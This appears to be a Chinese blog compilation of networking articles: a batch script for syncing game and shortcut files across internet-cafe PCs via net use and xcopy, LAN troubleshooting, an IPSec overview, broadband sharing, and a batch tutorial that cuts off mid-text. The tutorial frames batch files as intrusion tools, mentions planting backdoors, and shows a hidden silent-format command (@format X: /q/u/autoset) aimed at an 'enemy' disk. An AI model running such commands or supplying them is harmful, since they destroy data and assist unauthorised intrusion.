2005年10月23日

       现在大家都希望有个同步软件可以达到网络目录或者文件的更新来减少自己的工作量,现在网络上也有很多软件可以达到这个目的,象同步专家之类的,但是这些软件需要安装服务端和客户端,客户端要常驻才能使用,并且占用了一定的资源.如下这个批处理利用net命令来进行文件和目录的同步更新.优点就是任何机器都可以做服务器和客户机,而且不占用任何资源.当然缺点也有就是写批处理有点烦^^.

我首先写出批处理,然后作详细的解释:
net use S: \\computer-01\D
attrib -s -h -r S:\ghostC:\WINDOWS\COMMAND\Xcopy.exe /s /e /y D:\ghost S:\ghost
net use * /delete

net use S: \\computer-02\D
attrib -s -h -r S:\ghost
C:\WINDOWS\COMMAND\Xcopy.exe /s /e /y D:\ghost S:\ghost
net use * /delete

    写说明一下net命令的用法,这里采用net命令其中一个参数net use,如果对其他有兴趣,可以在command窗口打net /?显示其help屏幕。
参数net use
作用:连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。
命令格式:net use [devicename | *] [computernamesharename[volume]] [password | *]] [/user:[domainname]username] [[/delete] | [/persistent:{yes | no}]]
参数介绍:
键入不带参数的net use列出网络连接。
devicename指定要连接到的资源名称或要断开的设备名称。
computernamesharename服务器及共享资源的名称。
password访问共享资源的密码。
*提示键入密码。
/user指定进行连接的另外一个用户。
domainname指定另一个域。
username指定登录的用户名。
/home将用户连接到其宿主目录。
/delete取消指定网络连接。
/persistent控制永久网络连接的使用。
如下是简单的例子说明:
(1)net use e: YFANGTEMP 将YFANGTEMP目录建立为E盘
(2)net use e: YFANGTEMP /delete 断开连接

这里我只写两行批处理,用意这两大行网络标识是不同的,其他可以依次类推。我的网吧网络标识是computer-01~computer-N 也就是网吧电脑的网络名称,可以根据自己实际情况更改。譬如user01~userXX

开始解释每行命令,实际应用稍后解释。
一.命令解析。
1.net use S: \\computer-01\D (将computer-01的共享盘d盘进行网络连接,并映射成网络驱动盘s盘。这里d盘要做完全共享,如果不是完全共享文件就复制不过去了,到时不要耍菜刀追我^^。提示1:如果怕完全共享被人将文件删除,可以设完全共享密码。假设远程共享盘完全共享密码为123,那么这行命令改成如下: net use S: \\computer-01\D 123。这样访问远程客户机共享盘就没有问题了。提示2:这里为什么要选d盘而不是e盘c盘,是要和同步更新的服务机的盘符对应起来,我要复制本地机d盘下的东西,当然要和d盘对应。)

2. attrib -s -h -r S:\ghost\ (把目标盘下要复制的目标目录下的文件属性(只读、隐藏、系统)三项去掉。提示:如果目标盘没有ghost目录接下来的xcopy命令会自动创建的)

3. C:\WINDOWS\COMMAND\Xcopy.exe /y /s /e D:\ghost S:\ghost\(将本地机的d盘下的ghost目录下文件复制到虚拟映射盘s盘下ghost目录,这里的s盘就是computer-01上的d盘。提示1:s盘在执行第一大行后会自动消失,当执行第二大行时computer-02的d盘被虚拟映射成s盘;提示2:/s /e参数含义指把ghost下所有子目录包括空目录全部复制。/y 自动覆盖已有文件)

4. net use * /delete (断开所有连接)

2.实际应用
1.共享盘目录的更新:
比方现在头痛的传奇,我统一安装在d盘的netgames下的mir目录。把d盘完全共享并设置共享密码为****。当要更新文件和外挂文件时,外挂文件也是放在mir目录下的。这样先调试好一台电脑然后写出如下命令并执行。
net use S: \\computer-01\D ****
attrib -s -h -r S:\netgames\mir
C:\WINDOWS\COMMAND\Xcopy.exe D:\netgames\mir S:\netgames\mir
net use * /delete

提示:1。这里没有用/s/e就是只复制mir根目录下的文件而不复制整个目录
2.我们也可以在xcopy前插入一句C:\WINDOWS\COMMAND\del /y S:\netgames\mir\*.*
把mir下的文件删除干净后再复制。保险起见可以不写。
3.\\computer-01可以依次类推写下去,如computer-02 -03 -04. . . . .

2.共享目录的更新
上述我们把传奇目录下文件和外挂更新好后,但是出现一个问题。网管软件的桌面图标没有同步更新,好事作到底,上次我们是把整个盘符作了完全共享,这次我们只把一个目录完全共享并设置密码****。因为我用的是pubwin4网管软件,安装c盘,为了安全起见,还是只共享文件夹,而不是整个盘。Pubwin的桌面快捷方式安装在c盘的program files的hitsoft下,将hitsoft完全共享即可,传奇和传奇外挂快捷方式放在目录下的netgames下。批处理如下

net use S: \\computer-01\hitsoft ****
attrib -s -h -r S:\netgames
C:\WINDOWS\COMMAND\Xcopy.exe c:\program~1\hitsoft\netgames S:\netgames /s /y /e
net use * /delete

提示:我们可以做的更多,还有删除目录,只要把xcopy转换成deltree就可以了。
写了那么多头昏眼花 。闪了~ 如有不懂的可以来问我,使用前自己先试验几次。

作者:sengun

你碰到这样的情况吗?                      作者:吴进

  1. Windows98Windows95的对等网中,通过网上邻居访问其它计算机,有时要刷新好多次才能连接得上。

 

  2. Windows 2000 Server或者Win dows 2000 Advanced Server中访问其它的计算机 

,特别是访问Windows 98时很慢,要等3050秒钟。

 

  上Internet时就够慢了,现在连局域网也这样慢,怎么办?下面我们就和笔者一起来解决局域网“慢”的问题。

 

  网络中的问题主要出在硬件和软件两个方面,局域网中“慢”的问题也要从这两个方面来解决。

 

  一、硬件方面

 

  首先“来硬的”吧。决定网络速度的硬件无非是网卡、集线器和网线。

 

  1. 网卡

 

  早期的以太网卡大都是10M,现在10M/100M网卡已经取代10M网卡大行其道了,况且千兆网卡也已经面世。所以,如果你还是用的10M网卡,我劝你还是换一下吧。

 

  2. 集线器

 

  集线器是网络的中心元件,所有的数据都要经过它分配给其它计算机。普通集线器即HUB由于其工作方式落后于交换式集线器(交换机),所以在资金充足的情况下,用交换机速度要快得多。但是有些杂牌交换机最好别用,宁可多花些银子买个3COMD-LINK。如果资金不够最好能用好一些的HUB

 

  3. 网线

 

  别小看了网线,杂牌的网线和安普等一些名牌网线有明显不同的传输速度,特别是在100M的网络中。水晶头的制作也是关键。很多人认为只要线两端的水晶头的次序一样就行,殊不知,五类双绞线里四股线的“绕阻”是不一样的。笔者曾经到一个学校帮助解决网络时断时续的问题,一看水晶头的线序错了,重新做了一下结果问题顺利解决。水晶头的制作有两种常用标准T586AT856B

 

  需要说明的是:

 

  (1)HUB或交换机相互组网时,一根线的两头必须用同一个标准制作。在同一个HUB或交换机上最好只用一种标准制作网线。

 

  (2)当只有两台计算机不用HUB或交换机时,线的一头采用586A标准,另一头采用586B标准。因为,网卡的脚1和脚2用作发送数据,而脚3和脚6用作接收数据引脚。两种不同的标准正好将1236相对应。

 

  (3)不管两台计算机的物理位置多近,线的长度最好大于1.5米。不然也会发生时断时续的现象。

 

  另外,同轴电缆最大的传输速率只有10M,但它的传输距离比较远,一般细缆在185米,粗缆在500米。所以在远距离通信中若不采用光缆就只能牺牲速率用同轴电缆了。

 

  二、软件方面

 

  1. 在小型网络中,用NETBEUI协议的效率来得高。所以在局域网中尽量采用TCP/IPNETBEUI两种协议,或者只用NETBEUI协议,因为在对等网中只要有NETBEUI就行了。不管采用什么协议,必须保证相互访问的两台计算机上的协议相同。如果不同则可以用如下的方法添加协议。

 

  右击“网上邻居”选择“属性”,在“网络”对话框中按下“添加”,选择其中的“协议”。要使自己的计算机能被其它的计算机访问,还要选中“文件及打印共享”将“允许其它用户访问我的文件”前打上钩。

 

  2. 做到了以上几点,在Windows98中基本可以解决问题了。但是在Windows 2000 Server中通过网上邻居访问其它计算机时仍然很慢。其实我们可以绕过Windows2000的网上邻居来访问其它的计算机。这里笔者提供三种解决方法:

 

  方法一

 

  在运行中输入:

 

  “\\计算机名\共享名”或“\\IP地址\共享名”来访问其它计算机中的共享文件夹。

 

  方法二

 

  右击“我的电脑”或者“网上邻居”选择“映射网络驱动器”,在图3中的“驱动器”中选择一个盘符,在“路径”中以URL格式输入你的计算机名和共享名。然后像访问驱动器一样地访问共享文件夹。

 

  方法三

 

  在桌面上建立一个快捷方式,用于运行方法一中的命令。

 

  这三种方法都可以很快地访问网络中的其它计算机。

 

  由于笔者的水平有限,仅仅是粗略地叙述了可能出现的问题和一些解决方案。在实际的应用过程中可能还会有其它的更方便的解决方案。这篇文章旨在抛砖引玉,希望能解决读者的一些实际问题。 

IPSec本身没有为策略定义标准,策略的定义和表示由具体实施方案解决,以下对IPSec策略的介绍以Windows 2000为例。

在Windows 2000中,IPSec策略包括一系列规则(规则规定哪些数据流可以接受,哪些数据流不能接受)和过滤器(过滤器规定数据流的源和目标地址),以便提供一定程度的安全级别。在Windows 2000的IPSec实现中,既有多种预置策略可供用户选择,也可以让用户根据企业安全需求自行创建策略。IPSec策略的实施有两种基本方法,一是在本地计算机上指定策略,二是使用Windows 2000 "组策略"对象,由其来实施策略。IPSec策略可适用于单机、域、路由器、网站或各种自定义组织单元等多种场合。

一、规则

规则规定IPSec策略何时以及如何保护IP通信。根据IP数据流的类型、源和目的地址,规则应该具有触发和控制安全通信的能力。每一条规则包含一张IP过滤器列表和与之相匹配的安全设置,这些安全设置有:1)过滤器动作 2)认证方法 3)IP隧道设置 4)连接类型。

一个IPSec策略包含一至多条规则,这些规则可以同时处于激活状态。例如,用户为某网站路由器指定安全策略,但对经过该路由器的Intranet和Internet通信有不同的安全要求,那么,这个策略就可以包含多条规则,分别对应于Intranet和Internet的不同场景。IPSec实现中针对各种基于客户机和服务器的通信提供了许多预置规则,用户可根据实际需求使用或修改。

二、过滤器和过滤器动作

规则具有根据IP数据流的类型以及源和目的地址为通信触发安全协商的能力,这一过程也称为IP包过滤。应用包过滤技术,可以精确地定义哪些IP数据流需要受保护,哪些数据流需要被拦截,哪些则可以绕过IPSec应用(即无须受保护)。

一个过滤器由以下几个参数决定:IP包的源和目的地址;包所使用的传输协议类型;TCP和UDP协议的源和目的端口号。一个过滤器对应于一种特定类型的数据流。 过滤器动作为需要受保护的IP通信设置安全需求,这些安全需求包括安全算法,安全协议和使用的密钥属性等等。

除了为需要受保护的IP通信设置过滤器动作外,还可以将过滤器动作配置成:

·绕过策略,即某些IP通信可以绕过IPSec,不受其安全保护。这类通信主要有以下三种情况:1)远程主机无法启用IPSec,2)非敏感数据流无须受保护,3)数据流本身自带安全措施(例如使用Kerberos v5、SSL或 PPTP协议)。

·拦截策略,用于拦截来自特定地址的通信。

三、连接类型

每一条规则都需要指明连接类型,用以规定IPSec策略的适用范围:如拨号适配器或网卡等。规则的连接属性决定该规则将应用于单种连接还是多种连接。例如,用户可以指明某条安全需求特别高的规则,只应用于拨号连接,而不应用于LAN连接。

四、认证

一条规则可以指定多种认证方法。IPSec支持的认证方法主要有:

·Kerberos v5:Windows 2000的缺省认证协议。该认证方法适用于任何运行Kerberos v5协议的客户机(无论该客户机是否基于Windows)。

·公钥证书认证:该认证方法适用于Internet访问、远程访问、基于L2TP的通信或不运行Kerberos v5协议的主机,要求至少配置一个受信赖的认证中心CA。 Windows 2000的IKE可以和Microsoft、Entrust和VeriSign等多家公司提供的认证系统相兼容,但不推荐使用预置共享密钥认证,因为该认证方法不受IPSec策略保护,为避免使用预置共享密钥认证可能带来的风险,一般建议使用Kerberos v5认证或公钥证书认证。

       IP网络安全问题 IP网络安全一直是一个倍受关注的领域,如果缺乏一定的安全保障,无论是公共网络还是企业专用网络都难以抵挡网络攻击和非法入侵。对于某个特定的企业内部网Intranet来说,网络攻击既可能来自网络内部,也可能来自外部的Internet或Extranet,其结果均可能导致企业内部网络毫无安全性可言。单靠口令访问控制不足以保证数据在网络传输过程中的安全性。

几中常见的网络攻击

如果没有适当的安全措施和安全的访问控制方法,在网络上传输的数据很容易受到各式各样的攻击。网络攻击既有被动型的,也有主动型的。被动攻击通常指信息受到非法侦听,而主动攻击则往往意味着对数据甚至网络本身恶意的篡改和破坏。以下列举几种常见的网络攻击类型:

1)窃听

一般情况下,绝大多数网络通信都以一种不安全的"明文"形式进行,这就给攻击者很大的机会,只要获取数据通信路径,就可轻易"侦听"或者"解读"明文数据流。"侦听"型攻击者,虽然不破坏数据,却可能造成通信信息外泄,甚至危及敏感数据安全。对于多数普通企业来说,这类网络窃听行为已经构成了网管员所面临的最大的网络安全问题。

2)数据篡改

网络攻击者在非法读取数据后,下一步通常就会想去篡改它,而且这种篡改一般可以做得让数据包的发送方和接收方无知无觉。但作为网络通信用户,即使并非所有的通信数据都是高度机密的,也不想看到数据在传输过程中遭至任何差错。比如在网上购物,一旦我们提交了购物定单,谁也不会希望定单中任何内容被人肆意篡改。

3)身份欺骗(IP地址欺骗)

大多数网络操作系统使用IP地址来标识网络主机。然而,在一些情况下,貌似合法的IP地址很有可能是经过伪装的,这就是所谓IP地址欺骗,也就是身份欺骗。另外网络攻击者还可以使用一些特殊的程序,对某个从合法地址传来的数据包做些手脚,借此合法地址来非法侵入某个目标网络。

4)盗用口令攻击(Password-Based Attacks)

基于口令的访问控制是一种最常见的安全措施。这意味着我们对某台主机或网络资源的访问权限决定于我们是谁,也就是说,这种访问权是基于我们的用户名和帐号密码的。

攻击者可以通过多种途径获取用户合法帐号,一旦他们拥有了合法帐号,也就拥有了与合法用户同等的网络访问权限。因此,假设帐号被盗的用户具有网管权限的话,攻击者甚至可以借机给自己再创建一个合法帐号以备后用。在有了合法帐号进入目标网络后,攻击者也就可以随心所欲地盗取合法用户信息以及网络信息;修改服务器和网络配置,包括访问控制方式和路由表;篡改、重定向、删除数据等等。

5)拒绝服务攻击(Denial-of-Service Attack)
与盗用口令攻击不同,拒绝服务攻击的目的不在于窃取信息,而是要使某个设备或网络无法正常运作。在非法侵入目标网络后,这类攻击者惯用的攻击手法有:

a. 首先设法转移网管员注意力,使之无法立刻察觉有人入侵,从而给攻击者自己争取时间

b. 向某个应用系统或网络服务系统发送非法指令,至使系统出现异常行为或异常终止

c. 向某台主机或整个网络发送大量数据洪流,导致网络因不堪过载而瘫痪

d. 拦截数据流,使授权用户无法取得网络资源

6)中间人攻击(Man-in-the-Middle Attack)

顾名思义,中间人攻击发生在我们与通信对象之间,即通信过程以及通信数据遭到第三方的监视、截取和控制,例如攻击者可以对数据交换进行重定向等等。如果通信中使用网络低层协议,通信两端的主机是很难区分出不同的对象的,因此也不大容易察觉这类攻击。中间人攻击有点类似于身份欺骗。

7)盗取密钥攻击(Compromised-Key Attack)

虽然一般说来,盗取密钥是很困难的,但并非不可能。通常我们把被攻击者盗取的密钥称为"已泄密的密钥"。攻击者可以利用这个已泄密的密钥对数据进行解密和修改,甚至还能试图利用该密钥计算其他密钥,以获取更多加密信息。

8)Sniffer 攻击(Sniffer Attack)

Sniffer指能解读、监视、拦截网络数据交换以及可以阅读数据包的程序或设备。如果数据包没有经过加密,Sniffer可以将该数据包中的所有数据信息一览无余。即使经过封装的隧道数据包,Sniffer也可以在对其进行解封装后再进行读取,除非该隧道数据经过加密而攻击者没有得到解密所需要的密钥。利用Sniffer,攻击者除了可以读取通信数据外,还可以对目标网络进行分析,进一步获取所需资源,甚至可以导致目标网络的崩溃或瘫痪。

9)应用层攻击(Application-Layer Attack)

应用层攻击直接将目标对准应用系统服务器,应用层攻击的攻击者往往就是设计该应用系统的程序员。所谓应用层攻击是指攻击者故意在服务器操作系统或应用系统中制造一个后门,以便可以绕过正常的访问控制。特洛依木马就是一个非常典型的应用层攻击程序,攻击者利用这个后门,可以控制整个用户应用系统,还可以:

a. 阅读、添加、删除、修改用户数据或操作系统

b. 在用户应用系统中引入病毒程序

c. 引入Sniffer,对用户网络进行分析,以获取所需信息,并导致用户网络的崩溃或瘫痪

d. 引起用户应用系统的异常终止

e. 解除用户系统中的其他安全控制,为其新一轮攻击打开方便之门

IPSec概述

IPSec (Internet 协议安全)是一个工业标准网络安全协议,为 IP 网络通信提供透明的安全服务,保护 TCP/IP 通信免遭窃听和篡改,可以有效抵御网络攻击,同时保持易用性。IPSec有两个基本目标:
1)保护IP数据包安全;
2)为抵御网络攻击提供防护措施。


IPSec结合密码保护服务、安全协议组和动态密钥管理三者来实现上述两个目标,不仅能为企业局域网与拨号用户、域、网站、远程站点以及Extranet之间的通信提供强有力且灵活的保护,而且还能用来筛选特定数据流。 IPSec基于一种端-对-端的安全模式。这种模式有一个基本前提假设,就是假定数据通信的传输媒介是不安全的,因此通信数据必须经过加密,而掌握加解密方法的只有数据流的发送端和接收端,两者各自负责相应的数据加解密处理,而网络中其他只负责转发数据的路由器或主机无须支持IPSec。该特性有助于企业用户在下列方案中成功地配置IPSec:

·局域网:C/S模式,对等模式

·广域网:路由器-对-路由器模式,网关-对-网关模式

·远程访问:拨号客户机,专网对Internet的访问

一、纵深防御

众所周知,网络攻击常常可能导致系统崩溃以及敏感数据的外泄,因此数据资源必须受到足够的保护,以防被侦听,篡改,或非法访问。

常规网络保护策略有使用防火墙、安全路由器(安全网关)以及对拨号用户进行身份认证等。这些措施通常被称为"边界保护",往往只着重于抵御来自网络外部的攻击,但不能阻止网络内部的攻击行为。

智能卡或Kerberos

用户认证等的访问控制法,单纯依赖用户名和口令,也不足以抵御大多数网络攻击。例如,一台主机由多个用户共享,往往会发生人不在了,而机器却仍处于登录状态的情况,从而导致系统出现不安全因素。访问控制法最大的缺陷是一旦用户帐号被窃,根本无法阻止攻击者盗取网络资源。

还有一种比较少见的保护策略是物理级保护,就是保护实际的网络线路和网络访问节点,禁止任何未经授权的使用。但这种保护方式,当数据需要从数据源通过网络传输到目的地时,无法做到保证数据的全程安全。

IPSec采用端-对-端加密模式,其基本工作原理是:发送方在数据传输前(即到达网线之前)对数据实施加密,在整个传输过程中,报文都是以密文方式传输,直到数据到达目的节点,才由接收端对其进行解密。IPSec对数据的加密以数据包而不是整个数据流为单位,这不仅更灵活,也有助于进一步提高IP数据包的安全性。通过提供强有力的加密保护,IPSec可以有效防范网络攻击,保证专用数据在公共网络环境下的安全性。

一个完善的企业安全计划,应该是多种安全策略的有机组合,将IPSec与用户访问控制、边界保护以及物理层保护相结合,可以为企业数据通信提供更高层次的纵深防护。

二、用IPSec抵御网络攻击

网络攻击者要破译经过IPSec加密的数据,即使不是完全不可能,也是非常困难的。根据不同类别数据对于保密需求的不同,IPSec策略中有多种等级的安全强度可供选择。使用IPSec可以显著地减少或防范前面谈到过的几种网络攻击。

·Sniffer:Sniffer可以读取数据包中的任何信息,因此对抗Sniffer,最有效的方法就是对数据进行加密。 IPSec的封装安全载荷ESP协议通过对IP包进行加密来保证数据的私密性

·数据篡改:IPSec用密钥为每个IP包生成一个数字检查和,该密钥为且仅为数据的发送方和接收方共享。对数据包的任何篡改,都会改变检查和,从而可以让接收方得知包在传输过程中遭到了修改。

·身份欺骗,盗用口令,应用层攻击:IPSec的身份交换和认证机制不会暴露任何信息,不给攻击者有可趁之机,双向认证在通信系统之间建立信任关系,只有可信赖的系统才能彼此通信。

·中间人攻击:IPSec结合双向认证和共享密钥,足以抵御中间人攻击。

·拒绝服务攻击:IPSec使用IP包过滤法,依据IP地址范围、协议、甚至特定的协议端口号来决定哪些数据流需要受到保护,哪些数据流可以被允许通过,哪些需要拦截。

三、第三层保护的优点

通常IPSec提供的保护需要对系统做一定的修改。但是IPSec在IP传输层即第三层的"策略执行"(strategic implementation)几乎不需要什么额外开销就可以实现为绝大多数应用系统、服务和上层协议提供较高级别的保护;为现有的应用系统和操作系统配置IPSec几乎无须做任何修改,安全策略可以在Active Directory里集中定义也可以在某台主机上进行本地化管理。

IPSec策略在ISO参考模型第三层即网络层上实施的安全保护,其范围几乎涵盖了TCP/IP协议簇中所有IP协议和上层协议,如TCP、UDP、ICMP,Raw(第255号协议)、甚至包括在网络层发送数据的客户自定义协议。在第三层上提供数据安全保护的主要优点就在于:所有使用IP协议进行数据传输的应用系统和服务都可以使用IPSec,而不必对这些应用系统和服务本身做任何修改。

运作于第三层以上的其他一些安全机制,如安全套接层SSL,仅对知道如何使用SSL的应用系统(如Web浏览器)提供保护,这极大地限制了SSL的应用范围;而运作于第三层以下的安全机制,如链路层加密,通常只保护了特定链路间的数据传输,而无法做到在数据路径所经过的所有链路间提供安全保护,这使得链接层加密无法适用于 Internet 或路由 Intranet 方案中的端对端数据保护。

四、基于策略的安全保护

加密技术作为一种强有力的安全保护措施,一方面它能给予数据通信以全方位的保护,另一方面也会大幅增加管理开销。IPSec基于策略的管理则有效地避免了这一缺陷。 IPSec组策略用于配置IPSec安全服务(IPSec不必在API或操作系统中配置),这些策略为大多数现有网络中不同类别的数据流提供了各种级别的保护。针对个人用户、工作组、应用系统、域、站点或跨国企业等不同的安全要求,网络安全管理员可以配置多种 IPSec 策略以分别满足其需求。例如Windows 2000的 "IPSec 策略管理",既可以在Active Directory中为域成员集中定义IPSec策略,也可以为非域成员定义IPSec本地计算机策略。

作者:赛迪网

比较简单,全当复习:)

如今的宽带主要采用:
1.电信ADSL  2.Cable Modem(有线通) 3.FTTX+Lan(小区宽带)

ADSL上网方式主要有:(1)静态IP  (2)PPPoA (3)PPPoE虚拟拨号
//静态IP方式多半为企业使用

//PPPoA采用类似于专线的方式,用户连接和配置好ADSL后,开机即可建立一条链路

//PPPoE为虚拟拨号,接入网络时需要输入用户名和密码


/////////////////////////////////////////////////////////////////

  硬件方式:通过路由器、宽带路由器、内置路由功能的ADSL Modem等实现共享上网。使用硬件方式,一般都能实现共享,但设置稍显麻烦。这种方法使用效果好,但投资也稍高。
通常用路由器连接入网络,路由器下接交换机等设计各种子网
  例如:
光纤接入网—> 路由器(划分3个子网)
                            ||
             (千兆核心交换机) 
                ||          ||           ||  

     交换机A    交换机B     交换机1-9
////////////////////////////////////////////////////////////////
  
  软件方式:主要是通过代理服务器类与网关类软件实现。常用的有WinRoute、WinGate、SyGate、CCproxy、UserGate、SpoonProxy、HomeShare、WinProxy、Superproxy、SinforNAT等,还有Windows系统自带的ICS。这些软件中有的还是免费的,虽然方便性不如硬件方式,但能对网络进行有效的管理和控制
 软件方式,通常是用一台机作为服务器,该服务器上运行服务器软件,此方式该服务器非常重要。。

简明批处理教程—-对批处理命令做了简单的介绍

最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:"授人以鱼,不如授人以渔。"因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程>>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.

批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite…
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令,在C语言中相当与/*——–*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串"  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (‘command’) DO command

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (‘command’) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c – 指一个行注释字符的结尾(就一个)
skip=n – 指在文件开始时忽略的行数。
delims=xxx – 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n – 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq – 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 ‘z’ 或
‘Z’ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
